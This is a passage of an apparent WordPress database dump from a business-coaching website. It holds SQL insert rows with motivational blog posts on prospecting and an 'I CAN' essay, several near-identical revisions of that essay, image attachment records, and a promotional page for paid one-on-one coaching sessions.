greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love– and love to share with others.\r\n\r\n<strong>\r\n</strong>', 'Essential steps for realizing your next level of growth and success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-21', '', '', '2011-01-18 12:32:25', '2011-01-18 19:32:25', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-21/', 0, 'revision', '', 0),
(1523, 2, '2011-02-09 16:35:05', '2011-02-09 23:35:05', '<img class="alignnone size-full wp-image-1524" title="prospecting" src="http://whc.fbdev.org/wp-content/uploads/2011/02/prospecting.gif" alt="" width="446" height="217" />\r\n<h1><span style="color: #808080;">There’s only one important thing about selling you must master– prospecting for new business!</span></h1>\r\nNothing in business happens without sales. Yet, understanding the best way to develop business can be an elusive thing to many early-stage entrepreneurs who struggle with increasing their revenues with higher-paying clients.\r\n\r\nThere’s only one important thing about selling that you must learn to do correctly to make new sales– prospect for business! How you prospect for business determines the quality of clients you’ll serve. If you’re not satisfied with your sales results, or the quality of your clientele, stop for a moment and think back to how they showed up.\r\n\r\nHow do your clients show-up? Do you have a steady stream of people who want to talk to you about how you can help them? Developing and mastering your prospecting skills are essential if you’re going to turn suspects to prospects, and prospects to early-stage buyers.\r\n\r\n<strong>Allow me to share my definition of what prospecting is:</strong>\r\n<h2><span style="color: #000000;">Connecting your value proposition to ever-higher value clients who represent your best opportunities to serve them in ways they highly value</span>.</h2>\r\nI like to think of prospecting as walking in an open field, and everywhere around me, as far as I can see, there are tiny little customer seedlings–so many of them! How do you know which of the many potential customers to focus your attention on? Which ones will grow to become your future clients or customers? To help answer those questions, here are some ideas to help make your prospecting activities more effective in your sales process:\r\n\r\n<strong>Prospecting is not networking.</strong>\r\nProspecting requires thoughtful analysis. Networking is improvisational and immediate. Prospecting requires equal measure of looking out into the marketplace assessing the need or demand, and introspection to look within yourself and determine, with clarity and confidence, what opportunities you are well positioned to pursue that will elevate your scene to ever-higher levels.\r\n\r\n<strong>Prospecting requires discernment.  It’s not a numbers game.</strong>\r\nWhatever business your in, you’re not going to be right for everybody. There must be a mutually perceived fit between you and your customer–where the best of you will serve the good of them in a manner <em>they</em> highly value. Believe me, this thins out the slush pile in a hurry.  Once you’re able to define what a “good fit” is for you, and why that matters to them, you’re able to focus all your energy and available resources on nurturing only your most promising opportunities.\r\n\r\n<strong> </strong>\r\n\r\n<strong>When you’re highly specialized, prospecting is easy.</strong>\r\nIf you’re a specialized expert, known in the marketplace for solving specialized types of problems, you’ll only be prospecting for clients or customers who need that type of problem solved. It’s much easier to determine who your high value prospects are when you specialize. Chances are good they’ll be looking for you as well, and you’ll be a lot easier to find. If your business is all about rare tulip bulbs, you won’t be wasting time and money prospecting for customers who want to buy flowers. Specialists stick out, just like their prospects..\r\n\r\n<strong>What defines a prospect?</strong>\r\nA prospect is a known early-stage buyer seeking a solution to an important problem only you can solve, now or in the near future. Everybody else is a suspect. Converting suspects to prospects is hard work and it takes a long time. In my consulting practice, it takes a year or more of careful nurturing to turn a suspect into prospect–a.k.a. an early-stage buyer who is considering doing business with you.\r\n\r\n<strong>Always be prospecting!</strong>\r\nProspecting isn’t an activity you do when you need business. If you need business next week, you have troubles prospecting can’t fix. Always be prospecting regardless of how busy you are. It’s the only way to create sustainable sales pipeline to grow your business. Regardless of your current book of business, you must plant and tend to an abundant garden of prospects ripening for your future harvest each and every day.\r\n\r\n<strong>Are you clear and confident about where your bigger opportunities will come from?</strong>', 'Mastering the Art of Prospecting.', 0, '', 'publish', 'open', 'open', '', 'mastering-the-art-of-prospecting', '', '', '2011-02-09 16:35:05', '2011-02-09 23:35:05', '', 0, 'http://www.whitehotcenter.com/?p=1523', 0, 'post', '', 2),
(1494, 2, '2011-01-25 11:57:00', '2011-01-25 18:57:00', '<img class="alignnone size-full wp-image-1501" title="I-CAN" src="http://whc.fbdev.org/wp-content/uploads/2011/01/I-CAN1.gif" alt="Heart Leads the head" width="450" height="301" />\r\n<h1><span style="color: #808080;">You will not be able to sustain any action toward achievement unless your heart leads the way.</span></h1>\r\nDesire is the source code for all success and achievement. Yet our desire can easily be clouded over by our tendency to take action on the urgent rather than the important. What’s important– what matters to you– must come before the urgent if you’re going to be able to sustain yourself in persistence toward achieving your goals.\r\n\r\nYour desire (whatever it is for you) is what energizes and propels your creative mind to imagine ideas for how you will materialize it through your actions. If all your actions are focused on the urgent stuff, you’ll never get around to the truly important work of doing what really matters to you, and gives you the sense of meaning and contribution so necessary for you to feel joy, freedom and satisfaction.\r\n\r\nWhat matters to you must come first. I suggest you only do the important work that matters, and delegate the urgent busy-work to others–preferably someone who will do it better, faster and without procrastination. In any endeavor, there are only two things of value that must be used properly–your time and thought.\r\n\r\nSo here’s a simple but profound question you must have an answer for: how do you know if your “desire” is what you really want?  The answer is simple. You’ll know you are truly  “into your desire” by your ability to take sustained, persistent, incremental, bit-by-bit, loving action toward its realization every single day. When the heart is right, the head thinks right, and the body moves into correct action accordingly. That’s how it works. Achievement (getting things done) begins with desire, or put another way–love.\r\n\r\nA word of caution: if any of your actions toward your desire feels like work, resistance, frustration, stress, and anxiety, that’s your cue to remember two simple words: I CAN.\r\n\r\n<strong> I can create the good I desire in my life.</strong>\r\n\r\n<strong>I can make a difference for people.</strong>\r\n\r\n<strong>I can keep my focus and attention on what is important to me.</strong>\r\n\r\n<strong>I can, I can, I can!</strong>\r\n<h1>A person who believes she can, will rapidly develop the power that can.</h1>\r\nPersistently believe that you can accomplish your desire, and it won’t be long at all before you realize you’re actually doing it. With the “I CAN” belief locked in, your brain will automatically proceed to fire up all energies necessary for you to create and innovate new ideas to make your desires happen.  Over time, you’ll build momentum powerful enough for you to perform what had previously appeared impossible. Humans are pre-wired for this type of progress and accomplishment.\r\n\r\nWhatever obstacles you encounter along the way, within you and about you, can be overcome. “So dear to man”, wrote Emerson, when duty whispers low, “thou must”, the youth replies, “ I Can”.', 'When the heart is right, the head thinks “I CAN”.', 0, '', 'publish', 'open', 'open', '', 'when-the-heart-is-right-the-head-thinks-%e2%80%9ci-can%e2%80%9d', '', '', '2011-01-25 11:57:00', '2011-01-25 18:57:00', '', 0, 'http://www.whitehotcenter.com/?p=1494', 0, 'post', '', 0),
(1495, 2, '2011-01-25 11:26:43', '2011-01-25 18:26:43', '', 'Heart and Head', 0, '', 'inherit', 'open', 'open', '', 'i-can', '', '', '2011-01-25 11:26:43', '2011-01-25 18:26:43', '', 1494, 'http://www.whitehotcenter.com/wp-content/uploads/2011/01/I-CAN.gif', 0, 'attachment', 'image/gif', 0),
(1496, 2, '2011-01-25 11:29:47', '2011-01-25 18:29:47', '<img class="alignnone size-full wp-image-1495" title="Heart and Head" src="http://whc.fbdev.org/wp-content/uploads/2011/01/I-CAN.gif" alt="When the Heart is right,the heads thinks right." width="495" height="168" />\n<h1><span style="color: #808080;">You will not be able to sustain any action toward achievement unless your heart leads the way.</span></h1>\nDesire is the source code for all success and achievement. Yet our desire can easily be clouded over by our tendency to take action on the urgent rather than the important. What’s important– what matters to you– must come before the urgent if you’re going to be able to sustain yourself in persistence toward achieving your goals.\n\nYour desire (whatever it is for you) is what energizes and propels your creative mind to imagine ideas for how you will materialize it through your actions. If all your actions are focused on the urgent stuff, you’ll never get around to the truly important work of doing what really matters to you, and gives you the sense of meaning and contribution so necessary for you to feel joy, freedom and satisfaction.\n\nWhat matters to you must come first. I suggest you only do the important work that matters, and delegate the urgent busy-work to others–preferably someone who will do it better, faster and without procrastination. In any endeavor, there are only two things of value that must be used properly–your time and thought.\n\nSo here’s a simple but profound question you must have an answer for: how do you know if your “desire” is what you really want?  The answer is simple. You’ll know you are truly  “into your desire” by your ability to take sustained, persistent, incremental, bit-by-bit, loving action toward its realization every single day. When the heart is right, the head thinks right, and the body moves into correct action accordingly. That’s how it works. Achievement (getting things done) begins with desire, or put another way–love.\n\nA word of caution: if any of your actions toward your desire feels like work, resistance, frustration, stress, and anxiety, that’s your cue to remember two simple words: I CAN.\n\n<strong> I can create the good I desire in my life.</strong>\n\n<strong>I can make a difference for people.</strong>\n\n<strong>I can keep my focus and attention on what is important to me.</strong>\n\n<strong>I can, I can, I can!</strong>\n\nA person who believes she can, will rapidly develop the power that can.\n\nPersistently believe that you can accomplish your desire, and it won’t be long at all before you realize you’re actually doing it. With the “I CAN” belief locked in, your brain will automatically proceed to fire up all energies necessary for you to create and innovate new ideas to make your desires happen.  Over time, you’ll build momentum powerful enough for you to perform what had previously appeared impossible. Humans are pre-wired for this type of progress and accomplishment.\n\nWhatever obstacles you encounter along the way, within you and about you, can be overcome. “So dear to man”, wrote Emerson, when duty whispers low, “thou must”, the youth replies, “ I Can”.', 'When the heart is right, the head thinks “I CAN”.', 0, '', 'inherit', 'open', 'open', '', '1494-revision', '', '', '2011-01-25 11:29:47', '2011-01-25 18:29:47', '', 1494, 'http://www.whitehotcenter.com/2011/01/25/1494-revision/', 0, 'revision', '', 0),
(1503, 2, '2011-01-25 11:46:16', '2011-01-25 18:46:16', '<img class="alignnone size-full wp-image-1501" title="I-CAN" src="http://whc.fbdev.org/wp-content/uploads/2011/01/I-CAN1.gif" alt="Heart Leads the head" width="450" height="301" />\n<h1><span style="color: #808080;">You will not be able to sustain any action toward achievement unless your heart leads the way.</span></h1>\nDesire is the source code for all success and achievement. Yet our desire can easily be clouded over by our tendency to take action on the urgent rather than the important. What’s important– what matters to you– must come before the urgent if you’re going to be able to sustain yourself in persistence toward achieving your goals.\n\nYour desire (whatever it is for you) is what energizes and propels your creative mind to imagine ideas for how you will materialize it through your actions. If all your actions are focused on the urgent stuff, you’ll never get around to the truly important work of doing what really matters to you, and gives you the sense of meaning and contribution so necessary for you to feel joy, freedom and satisfaction.\n\nWhat matters to you must come first. I suggest you only do the important work that matters, and delegate the urgent busy-work to others–preferably someone who will do it better, faster and without procrastination. In any endeavor, there are only two things of value that must be used properly–your time and thought.\n\nSo here’s a simple but profound question you must have an answer for: how do you know if your “desire” is what you really want?  The answer is simple. You’ll know you are truly  “into your desire” by your ability to take sustained, persistent, incremental, bit-by-bit, loving action toward its realization every single day. When the heart is right, the head thinks right, and the body moves into correct action accordingly. That’s how it works. Achievement (getting things done) begins with desire, or put another way–love.\n\nA word of caution: if any of your actions toward your desire feels like work, resistance, frustration, stress, and anxiety, that’s your cue to remember two simple words: I CAN.\n\n<strong> I can create the good I desire in my life.</strong>\n\n<strong>I can make a difference for people.</strong>\n\n<strong>I can keep my focus and attention on what is important to me.</strong>\n\n<strong>I can, I can, I can!</strong>\n<h1>A person who believes she can, will rapidly develop the power that can.</h1>\nPersistently believe that you can accomplish your desire, and it won’t be long at all before you realize you’re actually doing it. With the “I CAN” belief locked in, your brain will automatically proceed to fire up all energies necessary for you to create and innovate new ideas to make your desires happen.  Over time, you’ll build momentum powerful enough for you to perform what had previously appeared impossible. Humans are pre-wired for this type of progress and accomplishment.\n\nWhatever obstacles you encounter along the way, within you and about you, can be overcome. “So dear to man”, wrote Emerson, when duty whispers low, “thou must”, the youth replies, “ I Can”.', 'When the heart is right, the head thinks “I CAN”.', 0, '', 'inherit', 'open', 'open', '', '1494-revision-7', '', '', '2011-01-25 11:46:16', '2011-01-25 18:46:16', '', 1494, 'http://www.whitehotcenter.com/2011/01/25/1494-revision-7/', 0, 'revision', '', 0);
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(1497, 2, '2011-01-25 11:30:11', '2011-01-25 18:30:11', '<img class="alignnone size-full wp-image-1495" title="Heart and Head" src="http://whc.fbdev.org/wp-content/uploads/2011/01/I-CAN.gif" alt="When the Heart is right,the heads thinks right." width="495" height="168" />\r\n<h1><span style="color: #808080;">You will not be able to sustain any action toward achievement unless your heart leads the way.</span></h1>\r\nDesire is the source code for all success and achievement. Yet our desire can easily be clouded over by our tendency to take action on the urgent rather than the important. What’s important– what matters to you– must come before the urgent if you’re going to be able to sustain yourself in persistence toward achieving your goals.\r\n\r\nYour desire (whatever it is for you) is what energizes and propels your creative mind to imagine ideas for how you will materialize it through your actions. If all your actions are focused on the urgent stuff, you’ll never get around to the truly important work of doing what really matters to you, and gives you the sense of meaning and contribution so necessary for you to feel joy, freedom and satisfaction.\r\n\r\nWhat matters to you must come first. I suggest you only do the important work that matters, and delegate the urgent busy-work to others–preferably someone who will do it better, faster and without procrastination. In any endeavor, there are only two things of value that must be used properly–your time and thought.\r\n\r\nSo here’s a simple but profound question you must have an answer for: how do you know if your “desire” is what you really want?  The answer is simple. You’ll know you are truly  “into your desire” by your ability to take sustained, persistent, incremental, bit-by-bit, loving action toward its realization every single day. When the heart is right, the head thinks right, and the body moves into correct action accordingly. That’s how it works. Achievement (getting things done) begins with desire, or put another way–love.\r\n\r\nA word of caution: if any of your actions toward your desire feels like work, resistance, frustration, stress, and anxiety, that’s your cue to remember two simple words: I CAN.\r\n\r\n<strong> I can create the good I desire in my life.</strong>\r\n\r\n<strong>I can make a difference for people.</strong>\r\n\r\n<strong>I can keep my focus and attention on what is important to me.</strong>\r\n\r\n<strong>I can, I can, I can!</strong>\r\n<h1>A person who believes she can, will rapidly develop the power that can.</h1>\r\nPersistently believe that you can accomplish your desire, and it won’t be long at all before you realize you’re actually doing it. With the “I CAN” belief locked in, your brain will automatically proceed to fire up all energies necessary for you to create and innovate new ideas to make your desires happen.  Over time, you’ll build momentum powerful enough for you to perform what had previously appeared impossible. Humans are pre-wired for this type of progress and accomplishment.\r\n\r\nWhatever obstacles you encounter along the way, within you and about you, can be overcome. “So dear to man”, wrote Emerson, when duty whispers low, “thou must”, the youth replies, “ I Can”.', 'When the heart is right, the head thinks “I CAN”.', 0, '', 'inherit', 'open', 'open', '', '1494-revision-2', '', '', '2011-01-25 11:30:11', '2011-01-25 18:30:11', '', 1494, 'http://www.whitehotcenter.com/2011/01/25/1494-revision-2/', 0, 'revision', '', 0),
(1498, 2, '2011-01-25 11:30:21', '2011-01-25 18:30:21', '<img class="alignnone size-full wp-image-1495" title="Heart and Head" src="http://whc.fbdev.org/wp-content/uploads/2011/01/I-CAN.gif" alt="When the Heart is right,the heads thinks right." width="495" height="168" />\r\n<h1><span style="color: #808080;">You will not be able to sustain any action toward achievement unless your heart leads the way.</span></h1>\r\nDesire is the source code for all success and achievement. Yet our desire can easily be clouded over by our tendency to take action on the urgent rather than the important. What’s important– what matters to you– must come before the urgent if you’re going to be able to sustain yourself in persistence toward achieving your goals.\r\n\r\nYour desire (whatever it is for you) is what energizes and propels your creative mind to imagine ideas for how you will materialize it through your actions. If all your actions are focused on the urgent stuff, you’ll never get around to the truly important work of doing what really matters to you, and gives you the sense of meaning and contribution so necessary for you to feel joy, freedom and satisfaction.\r\n\r\nWhat matters to you must come first. I suggest you only do the important work that matters, and delegate the urgent busy-work to others–preferably someone who will do it better, faster and without procrastination. In any endeavor, there are only two things of value that must be used properly–your time and thought.\r\n\r\nSo here’s a simple but profound question you must have an answer for: how do you know if your “desire” is what you really want?  The answer is simple. You’ll know you are truly  “into your desire” by your ability to take sustained, persistent, incremental, bit-by-bit, loving action toward its realization every single day. When the heart is right, the head thinks right, and the body moves into correct action accordingly. That’s how it works. Achievement (getting things done) begins with desire, or put another way–love.\r\n\r\nA word of caution: if any of your actions toward your desire feels like work, resistance, frustration, stress, and anxiety, that’s your cue to remember two simple words: I CAN.\r\n\r\n<strong> I can create the good I desire in my life.</strong>\r\n\r\n<strong>I can make a difference for people.</strong>\r\n\r\n<strong>I can keep my focus and attention on what is important to me.</strong>\r\n\r\n<strong>I can, I can, I can!</strong>\r\n<h1>A person who believes she can, will rapidly develop the power that can.</h1>\r\nPersistently believe that you can accomplish your desire, and it won’t be long at all before you realize you’re actually doing it. With the “I CAN” belief locked in, your brain will automatically proceed to fire up all energies necessary for you to create and innovate new ideas to make your desires happen.  Over time, you’ll build momentum powerful enough for you to perform what had previously appeared impossible. Humans are pre-wired for this type of progress and accomplishment.\r\n\r\nWhatever obstacles you encounter along the way, within you and about you, can be overcome. “So dear to man”, wrote Emerson, when duty whispers low, “thou must”, the youth replies, “ I Can”.', 'When the heart is right, the head thinks “I CAN”.', 0, '', 'inherit', 'open', 'open', '', '1494-revision-3', '', '', '2011-01-25 11:30:21', '2011-01-25 18:30:21', '', 1494, 'http://www.whitehotcenter.com/2011/01/25/1494-revision-3/', 0, 'revision', '', 0),
(1499, 2, '2011-01-25 11:32:07', '2011-01-25 18:32:07', '<img class="alignnone size-full wp-image-1495" title="Heart and Head" src="http://whc.fbdev.org/wp-content/uploads/2011/01/I-CAN.gif" alt="When the Heart is right,the heads thinks right." width="446" height="151" />\r\n<h1><span style="color: #808080;">You will not be able to sustain any action toward achievement unless your heart leads the way.</span></h1>\r\nDesire is the source code for all success and achievement. Yet our desire can easily be clouded over by our tendency to take action on the urgent rather than the important. What’s important– what matters to you– must come before the urgent if you’re going to be able to sustain yourself in persistence toward achieving your goals.\r\n\r\nYour desire (whatever it is for you) is what energizes and propels your creative mind to imagine ideas for how you will materialize it through your actions. If all your actions are focused on the urgent stuff, you’ll never get around to the truly important work of doing what really matters to you, and gives you the sense of meaning and contribution so necessary for you to feel joy, freedom and satisfaction.\r\n\r\nWhat matters to you must come first. I suggest you only do the important work that matters, and delegate the urgent busy-work to others–preferably someone who will do it better, faster and without procrastination. In any endeavor, there are only two things of value that must be used properly–your time and thought.\r\n\r\nSo here’s a simple but profound question you must have an answer for: how do you know if your “desire” is what you really want?  The answer is simple. You’ll know you are truly  “into your desire” by your ability to take sustained, persistent, incremental, bit-by-bit, loving action toward its realization every single day. When the heart is right, the head thinks right, and the body moves into correct action accordingly. That’s how it works. Achievement (getting things done) begins with desire, or put another way–love.\r\n\r\nA word of caution: if any of your actions toward your desire feels like work, resistance, frustration, stress, and anxiety, that’s your cue to remember two simple words: I CAN.\r\n\r\n<strong> I can create the good I desire in my life.</strong>\r\n\r\n<strong>I can make a difference for people.</strong>\r\n\r\n<strong>I can keep my focus and attention on what is important to me.</strong>\r\n\r\n<strong>I can, I can, I can!</strong>\r\n<h1>A person who believes she can, will rapidly develop the power that can.</h1>\r\nPersistently believe that you can accomplish your desire, and it won’t be long at all before you realize you’re actually doing it. With the “I CAN” belief locked in, your brain will automatically proceed to fire up all energies necessary for you to create and innovate new ideas to make your desires happen.  Over time, you’ll build momentum powerful enough for you to perform what had previously appeared impossible. Humans are pre-wired for this type of progress and accomplishment.\r\n\r\nWhatever obstacles you encounter along the way, within you and about you, can be overcome. “So dear to man”, wrote Emerson, when duty whispers low, “thou must”, the youth replies, “ I Can”.', 'When the heart is right, the head thinks “I CAN”.', 0, '', 'inherit', 'open', 'open', '', '1494-revision-4', '', '', '2011-01-25 11:32:07', '2011-01-25 18:32:07', '', 1494, 'http://www.whitehotcenter.com/2011/01/25/1494-revision-4/', 0, 'revision', '', 0),
(1501, 2, '2011-01-25 11:44:26', '2011-01-25 18:44:26', '', 'I-CAN', 0, '', 'inherit', 'open', 'open', '', 'i-can-2', '', '', '2011-01-25 11:44:26', '2011-01-25 18:44:26', '', 1494, 'http://www.whitehotcenter.com/wp-content/uploads/2011/01/I-CAN1.gif', 0, 'attachment', 'image/gif', 0),
(1500, 2, '2011-01-25 11:32:23', '2011-01-25 18:32:23', '<img class="alignnone size-full wp-image-1495" title="Heart and Head" src="http://whc.fbdev.org/wp-content/uploads/2011/01/I-CAN.gif" alt="When the Heart is right,the heads thinks right." width="446" height="151" />\r\n<h1></h1>\r\n<h1><span style="color: #808080;">You will not be able to sustain any action toward achievement unless your heart leads the way.</span></h1>\r\nDesire is the source code for all success and achievement. Yet our desire can easily be clouded over by our tendency to take action on the urgent rather than the important. What’s important– what matters to you– must come before the urgent if you’re going to be able to sustain yourself in persistence toward achieving your goals.\r\n\r\nYour desire (whatever it is for you) is what energizes and propels your creative mind to imagine ideas for how you will materialize it through your actions. If all your actions are focused on the urgent stuff, you’ll never get around to the truly important work of doing what really matters to you, and gives you the sense of meaning and contribution so necessary for you to feel joy, freedom and satisfaction.\r\n\r\nWhat matters to you must come first. I suggest you only do the important work that matters, and delegate the urgent busy-work to others–preferably someone who will do it better, faster and without procrastination. In any endeavor, there are only two things of value that must be used properly–your time and thought.\r\n\r\nSo here’s a simple but profound question you must have an answer for: how do you know if your “desire” is what you really want?  The answer is simple. You’ll know you are truly  “into your desire” by your ability to take sustained, persistent, incremental, bit-by-bit, loving action toward its realization every single day. When the heart is right, the head thinks right, and the body moves into correct action accordingly. That’s how it works. Achievement (getting things done) begins with desire, or put another way–love.\r\n\r\nA word of caution: if any of your actions toward your desire feels like work, resistance, frustration, stress, and anxiety, that’s your cue to remember two simple words: I CAN.\r\n\r\n<strong> I can create the good I desire in my life.</strong>\r\n\r\n<strong>I can make a difference for people.</strong>\r\n\r\n<strong>I can keep my focus and attention on what is important to me.</strong>\r\n\r\n<strong>I can, I can, I can!</strong>\r\n<h1>A person who believes she can, will rapidly develop the power that can.</h1>\r\nPersistently believe that you can accomplish your desire, and it won’t be long at all before you realize you’re actually doing it. With the “I CAN” belief locked in, your brain will automatically proceed to fire up all energies necessary for you to create and innovate new ideas to make your desires happen.  Over time, you’ll build momentum powerful enough for you to perform what had previously appeared impossible. Humans are pre-wired for this type of progress and accomplishment.\r\n\r\nWhatever obstacles you encounter along the way, within you and about you, can be overcome. “So dear to man”, wrote Emerson, when duty whispers low, “thou must”, the youth replies, “ I Can”.', 'When the heart is right, the head thinks “I CAN”.', 0, '', 'inherit', 'open', 'open', '', '1494-revision-5', '', '', '2011-01-25 11:32:23', '2011-01-25 18:32:23', '', 1494, 'http://www.whitehotcenter.com/2011/01/25/1494-revision-5/', 0, 'revision', '', 0),
(1502, 2, '2011-01-25 11:32:33', '2011-01-25 18:32:33', '<img class="alignnone size-full wp-image-1495" title="Heart and Head" src="http://whc.fbdev.org/wp-content/uploads/2011/01/I-CAN.gif" alt="When the Heart is right,the heads thinks right." width="446" height="151" />\r\n<h1><span style="color: #808080;">You will not be able to sustain any action toward achievement unless your heart leads the way.</span></h1>\r\nDesire is the source code for all success and achievement. Yet our desire can easily be clouded over by our tendency to take action on the urgent rather than the important. What’s important– what matters to you– must come before the urgent if you’re going to be able to sustain yourself in persistence toward achieving your goals.\r\n\r\nYour desire (whatever it is for you) is what energizes and propels your creative mind to imagine ideas for how you will materialize it through your actions. If all your actions are focused on the urgent stuff, you’ll never get around to the truly important work of doing what really matters to you, and gives you the sense of meaning and contribution so necessary for you to feel joy, freedom and satisfaction.\r\n\r\nWhat matters to you must come first. I suggest you only do the important work that matters, and delegate the urgent busy-work to others–preferably someone who will do it better, faster and without procrastination. In any endeavor, there are only two things of value that must be used properly–your time and thought.\r\n\r\nSo here’s a simple but profound question you must have an answer for: how do you know if your “desire” is what you really want?  The answer is simple. You’ll know you are truly  “into your desire” by your ability to take sustained, persistent, incremental, bit-by-bit, loving action toward its realization every single day. When the heart is right, the head thinks right, and the body moves into correct action accordingly. That’s how it works. Achievement (getting things done) begins with desire, or put another way–love.\r\n\r\nA word of caution: if any of your actions toward your desire feels like work, resistance, frustration, stress, and anxiety, that’s your cue to remember two simple words: I CAN.\r\n\r\n<strong> I can create the good I desire in my life.</strong>\r\n\r\n<strong>I can make a difference for people.</strong>\r\n\r\n<strong>I can keep my focus and attention on what is important to me.</strong>\r\n\r\n<strong>I can, I can, I can!</strong>\r\n<h1>A person who believes she can, will rapidly develop the power that can.</h1>\r\nPersistently believe that you can accomplish your desire, and it won’t be long at all before you realize you’re actually doing it. With the “I CAN” belief locked in, your brain will automatically proceed to fire up all energies necessary for you to create and innovate new ideas to make your desires happen.  Over time, you’ll build momentum powerful enough for you to perform what had previously appeared impossible. Humans are pre-wired for this type of progress and accomplishment.\r\n\r\nWhatever obstacles you encounter along the way, within you and about you, can be overcome. “So dear to man”, wrote Emerson, when duty whispers low, “thou must”, the youth replies, “ I Can”.', 'When the heart is right, the head thinks “I CAN”.', 0, '', 'inherit', 'open', 'open', '', '1494-revision-6', '', '', '2011-01-25 11:32:33', '2011-01-25 18:32:33', '', 1494, 'http://www.whitehotcenter.com/2011/01/25/1494-revision-6/', 0, 'revision', '', 0),
(1505, 2, '2011-01-26 17:43:14', '2011-01-27 00:43:14', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h1><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid creative thinking, insight and business development expertise on the fly and in real time!</span></h1>\r\nThe 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that you are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create new products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income. The Power Session is an intense, information rich brain charge designed to help you get free and moving in the direction of your desire from the git go!\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #808080;">Your investment:</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideasand turn possibility into achievement.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a One-on-One White Hot Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2011-01-26 17:43:14', '2011-01-27 00:43:14', '', 200, 'http://www.whitehotcenter.com/2011/01/26/200-revision-33/', 0, 'revision', '', 0),
(1506, 2, '2011-01-26 17:45:22', '2011-01-27 00:45:22', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, some solid insight and business development expertise on the fly and in real time!</span></h2>\r\nThe 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that you are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create new products, work with new partners, branding your business, get your web site happening, find better clients and customers. Whatever the issue, we’ll get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income. The Power Session is an intense, information rich brain charge designed to help you get free and moving in the direction of your desire from the git go!\r\n<h1><span style="color: #808080;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value 